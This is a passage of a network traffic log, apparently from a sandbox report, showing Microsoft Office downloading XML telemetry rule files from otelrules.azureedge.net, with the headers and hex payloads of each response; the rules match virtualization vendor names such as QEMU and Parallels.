T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:08 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 64f5c2f9-201e-000c-22cd-2a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024608Z-17c5cb586f6tg7hbbt0rp19dan00000002r000000000718d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:08 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:08 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 9c0a367c-e01e-0085-4811-2bc311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024608Z-15b8d89586fnfb49yv03rfgz1c00000002200000000070kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:08 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:08 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:08 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 98e85290-a01e-0021-7dec-2a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024608Z-16849878b787bfsh7zgp804my4000000093g00000000pmvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:08 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:09 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d24b0423-701e-0098-2b81-2a395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024609Z-17c5cb586f6z6tq2xr35mhd5x000000002wg00000000gkmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:09 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:09 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024609Z-16849878b78fssff8btnns3b140000000ap000000000g4g3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:09 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:09 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:09 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 4f4f7123-a01e-00ab-7bbd-2a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024609Z-159b85dff8fx9jp8hC1DFWp25400000002cg00000000ae27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:09 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:09 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: a0c84568-901e-0016-0da6-2aefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024609Z-159b85dff8f7lrfphC1DFWfw0800000002cg000000003sy9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:09 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024609Z-16849878b78fhxrnedubv5byks00000008ng00000000pxmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:10 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:10 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:10 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9e3eee9e-501e-00a0-6608-2c9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024610Z-17c5cb586f62bgw58esgbu9hgw0000000360000000003ywg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-01 02:46:10 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:10 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024610Z-16849878b78tg5n42kspfr0x480000000ab000000000p95p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:10 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024610Z-16849878b78sx229w7g7at4nkg00000008h000000000sd5s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:10 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:10 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8292a91c-d01e-002b-44fe-2b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024610Z-17c5cb586f62r5w7ux5vntfxrc00000000rg000000008g6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
